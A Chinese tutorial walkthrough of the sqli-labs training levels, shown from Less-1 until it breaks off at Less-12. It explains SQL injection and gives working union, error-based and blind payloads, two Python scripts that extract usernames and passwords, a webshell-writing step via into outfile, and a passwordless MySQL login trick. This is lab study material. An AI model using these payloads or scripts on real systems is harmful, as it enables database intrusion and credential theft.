ST0new

sql-lab 通关Less1 -65（深入学习）

文章目录

sql-lab 复现通关（深入学习）

前言
目的
less-1 基于错误的单引号字符串
Less-2 基于错误的get整型注入
Less-3 基于错误的get单引号变形字符型注入
Less-4 基于错误的GET双引号字符型注入
Less-5 双注入GET单引号字符型注入
Less-6 双注入GET双引号字符型注入
Less-7 导出文件GET字符型注入
Less-8 布尔型单引号GET盲注
Less-9 基于时间的GET单引号盲注
Less-10 基于时间的双引号盲注
Less-11 基于错误的PSOT单引号字符
Less-12 基于错误的双引号POST型字符变形注入
Less-13 POST 单引号变形双注入
Less-14 POST双引号变形双注入
Less-15 基于bool型/时间延迟单引号POST型盲注
Less-16 post方法双引号括号绕过时间盲
Less-17 基于错误的更新查询POST注入
Less-18 基于错误的用户代理，头部POST注入
Less-19 基于头部的RefererPOST报错注入
Less-20 基于错误的cookie头部POST注入
Less-21 基于错误的复杂的字符型Cookie注入
Less-22 基于错误的双引号字符型Cookie注入)
Less-23 基于错误的，过滤注释的GET型
Less-24 二次注入
Less-25 过滤了or和and
Less-26 过滤了注释和空格的注入
Less-26a 过滤了空格和注释的盲注
Less-27 过滤了union和select
Less-27a 过滤了union和select
Less-28 过滤了union和select大小写
Less-28a盲注过滤了union和select大小写
Less-29 获取-基于错误的缺乏证据的不匹配-在web应用程序前面有一个WAF。
Less-30 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。
Less-31 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。
Less-32 一个为危险字符添加斜线的GET - Bypass自定义过滤器
Less-33 bypass Addslashes()
Less-34 bypass Addslashes()
Less-35 GET-Bypass添加斜杠(我们不需要)整数
Less-36 GET-Bypass MySQLreal escape_string
Less-37 POST-Bypass MySQLreal escape_string
Less-38 层次化查询
Less-38 层次化查询
Less-39 GET - Stacked Query Injection - Intiger based
Less-40 GET-BLIND - based - String - stacked
Less-41 GET - BLIND based - Intiger - Stacked
Less-42 POST - Stacked Query error based
Less-43 POST- Stacked Query error based with twist
Less-44 POST - Error based - String - Stacked -Blind
Less-45 POST - Error based - String - Stacked - Blind
Less-46 ORDER BY-Error-Numeric
Less-47 ORDER BY Clause-Error-Single quote
Less-48 ORDER BY Clause Blind based
Less-49 ORDER BY Clause Blind based
Less-50 ORDER BY Clause Blind based
Less-51 ORDER BY Clause Blind based
Less-52 ORDER BY Clause Blind based
Less - 53 ORDER BY Clause Blind based
Less-54 GET-challenge-Union-10 queries allowed-Variation 1
Less-55 GET-challenge-Union-14 queries allowed-Variation 2
Less-56 GET-challenge-Union-14 queries allowed-Variation 3
Less-57 GET-challenge-Union-14 queries allowed-Variation 4
Less-58 GET-challenge-Double Query-5 queries allowed-Variation 1
Less-59 GET-challenge-Double Query-5 queries allowed-Variation 2
Less-60 GET-challenge-Double Query-5 queries allowed-Variation 3
Less-61 GET-challenge-Double Query-5 queries allowed-Variation 4
Less-62 GET-challenge-Blind- 130 queries allowed -variation 1
Less-63 GET-challenge-Blind- 130 queries allowed -variation 2
Less-64 GET-challenge-Blind- 130 queries allowed -variation 3
Less-65 GET-challenge-Blind- 130 queries allowed -variation 4

sql-lab 复现通关（深入学习）

前言

sqllab 从基础到复杂，对于初学者练习非常有用。

目的

学习如何进攻才能懂得如何防守

less-1 基于错误的单引号字符串

- 正常访问
http://192.168.248.134:8080/Less-1/?id=1

- 添加 ' 
	返回报错信息：You have an error in your SQL syntax; check the manual that corresponds to your     MySQL  server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

- 使用 1' order by 3 %23
	得到列数为3

- 使用union 获取admin和password
	-1 的作用是查询不存在的值，使得结果为空
	-1 ' union select 1,2,3 // 确定可以显示到页面的位置
	-1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata // 得到数据库名 或 通过database() 获取数据库名
	-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23
	-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23
	-1 ' union select 1,username,password from users %23

思考一下，为什么加上引号后会报错

查看源码直接将web页面传递的值加入sql语句中，没有进行过滤导致的错误

再来看看web页面返回的错误

接下来分析为何加了’ 导致报错

我们分析一下他的源码,在数据库中执行一下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这里加不加单引号都可以，id是int型的，可以不加，也可以加，而username和password字段都是char类型，就必须加引号。

然后，我们尝试添加一些特殊的字符，干扰正常的数据输入，达到执行其他语句的目的，这就是sql注入，所有的sql注入都是这个道理，如果没有和数据库进行交互，那么也就构不成注入的条件，比如后面的二次注入，虽然第一次没有报错和注入条件，但是在后期会利用时，由于过滤不当导致注入。

我们看一下这一句，当我们输入1’# 的时候，回车还需要一个冒号作为闭合，为什么呢，因为系统在读取到#的同时将不会继续往下读，而是当做注释忽略了，这就达成了绕过的目的。

而这时，如果我们在1’ 之后添加一些其他的内容，获取可以获取想要的答案，可以看到通过union 联合查询，我们可以获取到两个数据，

但是 web页面只会返回第一条数据，如何返回第二条呢，这里就需要让第一条数据未查询到，经过修改，成功让我们需要的数据返回页面，这时就可以通过联合查询获取想要的数据

这里也可以使用burp去fuzz一下，获取报错类型，判断绕过方式，burp也自带了fuzz，可以在渗透或者ctf中做判断，猜测过滤的内容对如何去绕过有非常大的帮助

查看burp返回的内容，933代表正常的内容返回，而1042返回的是报错内容，基于这个前提，我们就想办法去绕过

基本简单的注入就是这个样子快开始真正的实践吧

基本判断注入通过加‘ 是否报错,先记住这里的报错，等下的双引号报错和这里可以形成类比，可以判断1周围都是单引号。那么我们就要通过某些方式去闭合他，

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这里介绍两种方式，一种是注释，另一种是通过引号闭合如果有时候waf过滤了注释符可以通过另一种方式绕过

接下来就是获取用户名和密码了

一般sql注入的步骤：字段数->数据库->表->列->值

字段数可以通过 order by 去猜解或者通过 union select 1,2,3, 4 这样是试。如果报错那么就不是

首先获取字段数，通过order by 3 返回正确的值，而order by 4 返回错误

接来下通过联合查询获取数据库和表以及最后的password

这里就不多演示了，可以根据我给的数据去尝试

Less-2 基于错误的get整型注入

前面的题基本都会写出每一个步骤，到后面就专精于如何绕过

顺便普及一波知识

mysql的注释符一般有三种

--, 单行注释

# 单行注释

/**/ 多行注释

注意-- 不是注释符，–后还需要一个空格，而在web中 + 和空格等价，这就是为何我们注释符喜欢使用–+的原因了

- 正常访问 
	http://192.168.248.144:8080/Less-2/?id=1 
- 绕过测试
	-1' or 1=1 --+  //数字型注入
- 常规操作获取用户名和密码
	-1' or 1=1  order by 3  --+ // 字段数为3
	学了注释符就需要实地去应用,可以看到这道题我们用注释符忽略了引号带来的影响

	-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata  --+ // 获取数据库

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like 'security'  --+ // 获取表

-1' union select 1,2,group_concat(column_name ) from information_schema.columns where table_name like 'users'  --+ // 获取字段值

-1' union select 1,2,group_concat(0x7e,username,0x7c,password) from users  --+ // 获取数据

Less-3 基于错误的get单引号变形字符型注入

这里普及一个知识点，如何不使用密码登录mysql，试想你拿到了一个用户的低权限账户，但是他对my.cnf 具有可写的权限，就可以通过修改my.cnf 进而登录数据库。如果数据库的存储方式可被允许，那么可以变像的提权。

这里就不介绍他如何提权了。

linux的mysql配置文件在/etc/mysql/my.cnf下

在[mysqld]下添加 skip-grant-tables 如图，

之后重启mysql服务

mysql service mysqld restart

成功免密登录

这里和前面闭合有所不同，来看一下源码

id先被引号包括，之后使用（）在包括，所以闭合方式也就需要 ')

- 正常访问
	http://192.168.248.144:8080/Less-3/?id=1


- 绕过
	id=1') --+
- 获取数据
	-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
	-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
	-1') union select 1,2,group_concat(0x7c,username,0x7e,password,0x7c) from users --+

-猜测注入类型
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1

根据这个提示猜测可能是字符型注入,可以和less-1 对比，发现多了一个）可以判断首先是’ $i d^{'} 之后在 i d 外还有一层括号 (^{'}$ id’)

所以如果报错可以返回，那么如何绕过就变得很简单了。

获取数据，这里演示一下获取password

Less-4 基于错误的GET双引号字符型注入

- 正常访问
http://192.168.248.144:8080/Less-4/?id=2

- 绕过
	id=2") or 1=1 --+
- 获取数据
	-1") union select 1,2,database()  --+
	-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= database()  --+
	-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users'  --+
	-1") union select 1,2,group_concat(0x7c,username,0x7e,password,0x7c) from users  --+

猜测注入类型
2"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1 
可能是双引号字符型注入

先来看看为何加' 之后没有报错，

我们经过几次演示，应该都知道id是被引号包括的而如果包括的是单引号比如 '$id'，那么我们添加单引号会导致引号未闭合，报错，那如果是’$id"'这种，虽然双引号没有闭合，但是他在闭合的单引号里，所以这里他的作用只是一个引号，而不是闭合作用，这就解释了为何添加其他字符达不到闭合的目的。

这里我们就需要去试那些字符可以产生闭合，导致报错，可以借助于我上面写的burp爆破

Less-5 双注入GET单引号字符型注入

tips：双注

as ： 别名 
	顺便说几个常见的:
		rand: 遵循四舍五入把原值转化为指定小数位数
		floor: 向下舍入为指定小数位数
		ceiling: 向上舍入为指定小数位数
	rand: 返回一个介于 0 到 1（不包括 0 和 1）之间的伪随机 float 值
	group by: GROUP BY必须得配合聚合函数来用，根据字段来分类
- 使用
select count(*) from [table] group by concat('~',([真正的查询语句]),'~'，floor(rand(0)*2))
或
select count(*),concat_ws(char(32,58,32),([查询语句]),floor(rand(0)*2)) as a from [table] group by a
- 原理
简单来说就是count等聚合函数之后，如果使用分组语句，就会把查询的一部分以错误的形式显示出来

先来看看内部的查询返回的结果

在看看rand()函数，当不指定时返回一个0-1的随机数

而我们需要的是一个整数，这里就需要floor（）返回的结果只有1和0 这样如果是0的时候就会引发报错，

在更进一步去查看，user表里有多少数据，就返回多少条

而这一题没有回显但是有报错，我们就需要构造特殊的语句，将数据显示在报错里，来读取数据

可以看到如果rand是1 没有报错，而rand值为0 则会触发报错，第五题会把报错返回，但是正确不会返回，所以我们利用双注可以从另一方面获取数据

接下来我们肯定不能通过多次执行获取报错值，经过研究，发现如果给rand（0） 这样就可以让他返回的值固定进而一直满足条件

这里因为group by 查询时如果返回的结果不一致就会导致报错。也就是说如果我们可以在检测时和插入时构造不同的返回值就会导致报错。

赶紧进入实战学习学习

- 正常访问
	http://192.168.248.144:8080/Less-5/?id=1
- 猜测注入类型
	id='1
	 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' LIMIT 0,1' at line 1
	 可能存在单引号注入
- 绕过
	由于返回的结果只有两种（不包含报错）所以这里可以采用盲注来进行，但是作者的意图不是让我们使用盲注，而是双注.
	双注： 当查询语句的前面出现聚合函数 就是多个返回结果count()就是多行的意思 后面的查询结果代码会以错误的形式显示出来

- 获取数据
	// 如果随机值为0 则会返回 you are in .....， 三条记录以上绝对报错 rand(0),两条随机报错
	-1' union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 	// 获取 数据库 security 这里最好实用union all 这样，否则需要多次访问才能获取回复

剩下的就不一一叙述了
-1' union all select count(*),2,concat( '~',(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 //获取表 users
	-1' union all select count(*),1,concat( '~',(select column_name from information_schema.columns where table_name= 'users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23  // 这里爆出了他三个字段，注意如果字段不存在也是返回you are in 
	-1' union all select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23  // 成功拿到 password username

这里也可以通过盲注去解决,先介绍一下盲注的命令
- 试试盲注
	介绍几个语法：
	截取字符串： 
		left: Left ( string, n )  得到字符串左部指定个数的字符，
		substr: substr(string, start, length) 和substring()函数一样，截取字符串，第一个为处理的字符串，开始位置，长度 
		mid: MID(column_name,start[,length]) // 前两个字段为必须，length 为可选，选择开始字段，开始位置，截取长度。
	ascii: 	返回字符串str的最左字符的数值,返回ascii值，0-255
	length: 对字段长度破解，一般先对长度破解，然后在爆破字段值，这个一般采用二分法进行破解。
	strcmp: 可以配合left 来使用，如果相等返回0 小于返回1 大于返回-1
	regexp: 通过regexp 和 正则表达式来获取字段 这个时候 会匹配所有的字段，所以limit已经不起作用
	
	1' and left(version(),1)=5 %23 // 判断当最左侧字符等于5时 返回you are in 
	1' and left(version(),2)=5.%23 // 可以通过这样慢慢推出整个字段值
	
	使用substr 和ascii 来推出表名
	1' and ascii(substr(select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) > 80 %23
	尝试使用regexp
	1' and (select 1 from information_schema.columns where table_name = 'users' and column_name regexp '^pass[a-z]' ;)=1 %23
	使用 ord mid 
	ord 和ascii 一样
	mid(column_name,start[,length]) // 从位置start开始，截取column_name字符串的length位，与substr作用相同
	这里就类似ascii(substr) == ord(mid())
	cast(username as char) 将 username 转成字符串
	ifnull(exp1,exp2) exp1 不为null 则IFNULL()的返回值为exp1; 否则其返回值为exp2。IFNULL()的返回值是数字或是字符串，具体情况取决于其所使用的语境。
	1 ' and ord(mid((select ifnull (cast(username as char), 0x20) from security.users order by id limit 0,1),1,1)) = 127 %23

Less-6 双注入GET双引号字符型注入

这道题和5类似，看一下源码

$id = '"'.$id.'"'; -- 虽然加了这么多  解读一下
外层的单引号是做字符串用的，双引号是包含的， 里层的单引号是追加用的
所以添加到查询语句中
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这里的$id="$id"
$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
所以 这里还是双引号的注入

做法和5基本类似，只是修改了一些闭合

- 正常访问
	http://192.168.248.144:8080/Less-5/?id=1
- 猜测注入类型
	 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
	 猜测语句
	 select *  from users where id = "xxx" limit 0,1 ;
- 尝试绕过
	发现当结果正确时返回 you are in ...... 否则返回错误。
	可以尝试报错注入 ，根据作者的意思，这题是一个双注
	那么按照双注的步骤走
- payload
	//版本
	1" union select count(*),2,concat_ws(char(58),(select version()) ,floor(rand(0)*2)) a from information_schema.schemata group by a %23
	// 获取数据库
	1" union all select count(*),1,concat('~', (select schema_name from information_schema.schemata limit 4,1),floor(rand(0)*2)) a  from information_schema.schemata group by a %23
	// 获取表
	1 " union all select count(*),1,concat('~',(select table_name from information_schema.tables where table_schema= database() limit 3,1),'~',floor(rand(0)*2)) a  from information_schema.tables group by a %23
	// 获取数据
	1" union all select count(*),1,concat('~',(select concat(username,password) from users limit 0,1),'~',floor(rand(0)*2)) a  from information_schema.tables group by a %23

尝试获取一下password

Less-7 导出文件GET字符型注入

这道题是个新的题型，如果可以写入文件，那么我们最简单的是上传一句话马菜刀直接连，就可以获取一个低权限的账户，所以如果在注入中存在此类问题，那也是比较危险的漏洞。

看看源码是如何实现的，同样对于id没有进行过滤，可以通过’)) 绕过

由于文件具有写的权限，所以可以通过into outfile 直接写入文件，这里需要有几个条件，需要知道绝对路径写，，具有写的权限。

- 正常访问
	id=1
	 You are in.... Use outfile......
- 看来这题是要导出文件
	sqlmap 也可以执行相同的工作 这里就不解释了。
	使用outfile 写入到服务器，我们一般可以利用这个漏洞写入一句话马
	这里需要有两个已知项 1 字段值 2 绝对地址
	并且 系统必须有可读可写，在服务器上，完整的路径，
	导出命令： union select 1,2,3 into outfile "绝对地址" %23
- paylaod
	// 一般web都存放在默认的目录下，比如：
		1 c:/inetpub/wwwroot/
		2 linux的nginx一般是/usr/local/nginx/html
		3 /home/wwwroot/default
		4 /usr/share/nginx
		5 /var/www/html
	然后 验证是否具有这几个条件
	1 获取文件权限的可读
	1')) and (select count(*) from mysql.user)>0 %23
	2 注入文件
	这里要求猜一下他的绝对路径
	id=-1')) union select 1,2,3 into outfile "\\xxx\\1.txt" %23
	之后使用
	id=-1')) union select 1,"" into outfile "XXX\test.php" %23
	
	这里由于是使用docker，没有写成功

Less-8 布尔型单引号GET盲注

前面已经介绍过一次盲注，由于只有正确和错误，并不返回错误的信息，所以我们可以通过判断是否正确来猜测数据的值

-访问
	id=1
	You are in...........
- 测试返回内容
	看起来只返回了you are in ....... 和空 。看来这题需要使用盲注了
- 相关函数
	之前已经说过一次，在简单提一下
	length(str): 返回str字符串的长度
	
	substr(str,pos,len): 将str从pos位置开始截取len长度的字符串进行返回，注意这里的pos位置是从1开始的，不是数组的0开始
	mid(str,pos,len): 同上
	
	ascii(str): 返回字符串str的最左边字符的ascii
	ord(str): 同上
	if(a,b,c): a 为条件，正确返回b 否则返回c
	常见的ascii： A:65,Z:90 a:97,z:122,  0:48, 9:57
	获取数据库长度
	刚开始学，花了一天时间把脚本写好了，但是没有太完善就不发了，把简单的发一下
	url = "http://192.168.248.144:8080/Less-8/?id="
	常规套路： 获取库，表，字段，下载数据
	显示获取数目，然后是每个的长度，在是每个的值
	获取数据库
	1' and length(database()) ="+str(database_length)+" %23"
	1' and ascii(substr(database(),1))= 比较用的ascii值（0-128） %23"
	获取表
	1' and (select count(*) from information_schema.tables where table_schema=database())= 表的个数 %23
	1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 这里写第几个表,1),1))=表的长度 %23
	1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+第几个表+",1),"+表的第几个字母",1)) =ascii值（0-128） %23
	字段和他类似
	数据，选一个写
	1' and (select count(*) from users )= 个数 %23
	1' and length(substr((select username from users limit 第几个数据,1),1))=数据的长度 %23
	1' and ascii(substr((select "+value+" from users limit 第几个数据,1),数据的第几位,1)) =ascii 值 %23

这里上一下写的py脚本
from urllib import request
from urllib import parse
import re

url = "http://192.168.64.135/Less-8/?id="

#1 查数据库
# def length():
database_length = 0
while True:
    param = "1' and length(database()) ="+str(database_length)+" #"
    response = request.urlopen(url+ parse.quote(param)).read().decode()

    if (re.search("You are in",response)):
        #print("DATABASE_LENGTH:"+str(database_length))
        break
    else:
        database_length += 1

# db_name = ""
# for l in range(database_length):
#     for a in range(128):
#         param = "1' and ascii(substr(database(),"  +  str(l+1) +  "))="  +  str(a) +  "#"
#         response = request.urlopen(url + parse.quote(param)).read().decode()
#         if (re.search("You are in",response)):
#             db_name += chr(a)
#             break
# print("[*]:"+db_name)

#尝试二分法扫描
db_name = ""
for l in range(database_length):
    a,b = 64,64
    while True:
        b = int(b/2)
        param = "1' and ascii(substr(database(),"  +  str(l+1) +  "))<"  +  str(a) +  "#"
        response = request.urlopen(url + parse.quote(param)).read().decode()
        if (re.search("You are in",response)):
            a -=b
        else:
            param = "1' and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in",response)):
                db_name += chr(a)
                break
            else:
                a +=b
print("db_name:"+ db_name)
print('table:')
#2 查表数量
table_num = 0

while True:
    param = "1' and (select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+" #"
    response = request.urlopen(url + parse.quote(param)).read().decode()

    if (re.search("You are in",response)):
        #print("table_num:"+str(table_num))
        break
    else:
        table_num += 1

# 查 表长度
def ta_length(num):
    table_length = 0
    while True:
        param = "1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+" #"
        response = request.urlopen(url + parse.quote(param)).read().decode()

        if (re.search("You are in",response)):
            return table_length
            break
        else:
            table_length += 1
# 查表
for n in range(table_num):
    table_name =""
    for l  in range(ta_length(n)): # 表的长度
        for a in range(0,128): #爆破表
            param = "1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in", response)):
                table_name += chr(a)
                break
    print("[*]:" + table_name)

# 3 查字段
# 查字段个数
columns_num = 0
while True:
    param = "1' and (select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+" #"
    response = request.urlopen(url + parse.quote(param)).read().decode()

    if (re.search("You are in",response)):
        print("columns:"+str(columns_num))
        break
    else:
        columns_num += 1

# 查每个字段的长度
def co_length(num):
    columns_length = 0
    while True:
        param = "1' and length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+" #"
        response = request.urlopen(url + parse.quote(param)).read().decode()

        if (re.search("You are in",response)):
            #print(columns_length)
            return columns_length
            break
        else:
            columns_length += 1
# 查每个字段的值
for n in range(columns_num):
    columns_name =""
    for l  in range(co_length(n)): # 表的长度
        for a in range(0,128): #爆破表
            param = "1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in", response)):
                columns_name += chr(a)
                break
    print("[*]:" +columns_name)

# 下载数据

# 查 username

num = 0
while True:
    param = "1' and (select count(*) from users )= "+str(num)+"#"
    response = request.urlopen(url + parse.quote(param)).read().decode()

    if (re.search("You are in",response)):
        print("num:"+str(num))
        break
    else:
        num += 1

def length(num):
    user_length = 0
    while True:
        param = "1' and length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+" #"
        response = request.urlopen(url + parse.quote(param)).read().decode()

        if (re.search("You are in",response)):
            #print(user_length)
            return user_length
            break
        else:
            user_length += 1
def Name(value1,value2):
    for n in range(num):
        columns_name =""
        for l  in range(length(n)): # 表的长度
            for a in range(0,128): #爆破表
                param = "1' and ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
                response = request.urlopen(url + parse.quote(param)).read().decode()
                if (re.search("You are in", response)):
                    columns_name += chr(a)
                    break
        print("[*]:" +columns_name,end=":")
        columns_name2 = ""
        for l in range(length(n)):  # 表的长度
            for a in range(0, 128):  # 爆破表
                param = "1' and ascii(substr((select " + value2 + " from users limit " + str(n) + ",1)," + str(
                    l + 1) + ",1)) =" + str(a) + " #"
                response = request.urlopen(url + parse.quote(param)).read().decode()
                if (re.search("You are in", response)):
                    columns_name2 += chr(a)
                    break
        print(columns_name2)
Name("username","password")

成功获取到了数据库的值，

Less-9 基于时间的GET单引号盲注

8和9 一样，只是修改了一下闭合形式，第一次出现盲注，看一下源码，没有什么难度，这里使用时间盲注去猜

- 相关函数
	这一关需要用到一个if函数 
	IF(expr1,expr2,expr3) ：既可以作为表达式用，也可在存储过程中作为流程控制语句使用
	expr1 是判断条件 ，成立执行expr2 不成立执行 expr3
	还有一个sleep(seconds) ：执行延迟seconds秒

- 尝试触发报错
	http://192.168.248.144:8080/Less-9/?id=1' and sleep(5) %23
	在尝试sleep()的时候发现了延迟 存在 时间盲注
- 脚本 
	将上一关的改一下 ，所有的放在expr1里执行
	这里 就把上一关的代码放进expr1 然后 if(代码，sleep(0.1),1)
	之后 在判断条件改成 判断时间就行

这里的脚本使用了time函数库，经过检测，发现这个库比较精确。可以将延时时间设置为0.1 秒，可以精确判断
# less-9  基于时间的单引号注入
from urllib import request
from urllib import parse
from time import  time

url = "http://192.168.64.135/Less-9/?id="

#1 查数据库
database_length = 0
while True:
    param = "1' and if(length(database())="+str(database_length)+",sleep(0.1),1) #"
    t = time()
    response = request.urlopen(url + parse.quote(param))

    if ( time() - t > 0.1 ):
        print("DATABASE_LENGTH:"+str(database_length))
        break
    else:
        database_length += 1


db_name = ""
for l in range(database_length):
    for a in range(128):

        param = "1' and if(ascii(substr(database(),"  +  str(l+1) +  "))="  +  str(a) + ",sleep(0.1),1) #"
        t = time()
        response = request.urlopen(url + parse.quote(param))

        if (time()-t >0.1):
            db_name += chr(a)
            break
print("[*]:"+db_name)

'''
#尝试二分法扫描
db_name = ""
for l in range(database_length):
    a,b = 64,64
    while True:
        b = int(b/2)
        param = "1' and ascii(substr(database(),"  +  str(l+1) +  "))<"  +  str(a) +  "#"
        response = request.urlopen(url + parse.quote(param)).read().decode()
        if (re.search("You are in",response)):
            a -=b
        else:
            param = "1' and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in",response)):
                db_name += chr(a)
                break
            else:
                a +=b
print("db_name:"+ db_name)
'''


#2 查表数量
table_num = 0

while True:
    param = "1 ' and if((select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+",sleep(0.1),1) #"
    t = time()
    response = request.urlopen(url + parse.quote(param))
    if (time() - t > 0.1 ):
        print("table_num:"+str(table_num))
        break
    else:
        table_num += 1

# 查 表长度
def ta_length(num):
    table_length = 0
    while True:
        param = "1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+",sleep(0.1),1) #"
        t = time()
        response = request.urlopen(url + parse.quote(param))
        if (time() - t > 0.1 ):
            return table_length
            break
        else:
            table_length += 1

# 查表
for n in range(table_num):
    table_name =""
    for l  in range(ta_length(n)): # 表的长度
        for a in range(0,128): #爆破表
            param = "1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
            t = time()
            response = request.urlopen(url + parse.quote(param))
            if (time() - t > 0.1 ):
                table_name += chr(a)
                break
    print("table_name:" + table_name)


# 3 查字段
# 查字段个数
columns_num = 0
while True:
    param = "1' and if((select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+",sleep(0.1),1) #"
    t = time()
    response = request.urlopen(url + parse.quote(param))
    if (time() - t > 0.1):
        print("columns_name:"+str(columns_num))
        break
    else:
        columns_num += 1

# 查每个字段的长度
def co_length(num):
    columns_length = 0
    while True:
        param = "1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+",sleep(0.1),1) #"
        t = time()
        response = request.urlopen(url + parse.quote(param))

        if (time() - t > 0.1):
            return columns_length
            break
        else:
            columns_length += 1
# 查每个字段的值
for n in range(columns_num):
    columns_name =""
    for l  in range(co_length(n)): # 表的长度
        for a in range(0,128): #爆破表
            param = "1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
            t = time()
            response = request.urlopen(url + parse.quote(param))
            if (time() - t > 0.1):
                columns_name += chr(a)
                break
    print("table_name:" +columns_name)

# 下载数据

# 查 username
num = 0
while True:
    param = "1' and if((select count(*) from users )= "+str(num)+",sleep(0.1),1)#"
    t = time()
    response = request.urlopen(url + parse.quote(param)).read().decode()

    if (time() - t > 0.1):
        print("num:"+str(num))
        break
    else:
        num += 1

def length(num):
    user_length = 0
    while True:
        param = "1' and if(length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+",sleep(0.1),1) #"
        t = time()
        response = request.urlopen(url + parse.quote(param)).read().decode()

        if (time() - t > 0.1):
            print(user_length)
            return user_length
            break
        else:
            user_length += 1
def Name(value1,value2):
    for n in range(num):
        columns_name1 = columns_name2 = ""
        for l  in range(length(n)): # 表的长度
            for a in range(0,128): #爆破表
                param = "1' and if(ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
                t = time()
                response = request.urlopen(url + parse.quote(param))
                if (time() - t > 0.1 ):
                    columns_name1 += chr(a)
                    break

            for a in range(0,128): #爆破表
                param = "1' and if(ascii(substr((select "+value2+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
                t = time()
                response = request.urlopen(url + parse.quote(param))
                if (time() - t > 0.1 ):
                    columns_name2 += chr(a)
                    break
        print(columns_name1+":"+columns_name2)
Name("username","password")

Less-10 基于时间的双引号盲注

和9 一样，闭合有所改变，所以不多叙述
- 尝试查询发现问题
http://192.168.248.144:8080/Less-10/?id=1" and sleep(5) %23
发现当使用双引号的时候 可能触发时间注入
这里和上题一样 把单引号改成双引号就ok

Less-11 基于错误的PSOT单引号字符

直接看源码，没有过滤，所以可以将post的uname和passwd单独拿出来当get处理

这里有个小点，一般我们在渗透中 遇到后台会使用万能密码去尝试，能否直接登录，而万能密码的原理就是注入，通过'等等去闭合然后 or 1=1 去获取一个正确的返回，之后用注释符闭合后面的查询，这样就可以绕过登录，直接进入后台 这里出现的漏洞是因为过滤不严格导致的。

其实这里就是将get的错误在post里重新来了一遍
- 正常登录
	admin，admin
	Your Login name:admin Your Password:admin
	提交的数据都会回显到页面，尝试利用单引号 注释 构造
- 加 ' 尝试报错
 	admin' -- admin 尝试登录
 	 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin' LIMIT 0,1' at line 1
 	 admin ' or '1'='1 --+ admin

 	 uname=-1' union select  1, database() -- &passwd=admin&submit=Submit
 	 获取到数据库

 uname=-1' union select  1, group_concat(table_name) from information_schema.tables where table_schema=database() --

按步骤走就行
 	 uname=-1' union select  1, group_concat(password,username) from users --
 	 同样也能使用之前的双注来完成
 	 uname=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

Less-12 基于错误的双引号POST型字符变形注入

直接看源码，看是如何写的，然后如何过滤

做了这么多，已经知道了如何过滤，通过“）即可

- 正常访问
admin/admin
返回：Your Login name:admin/Your Password:admin
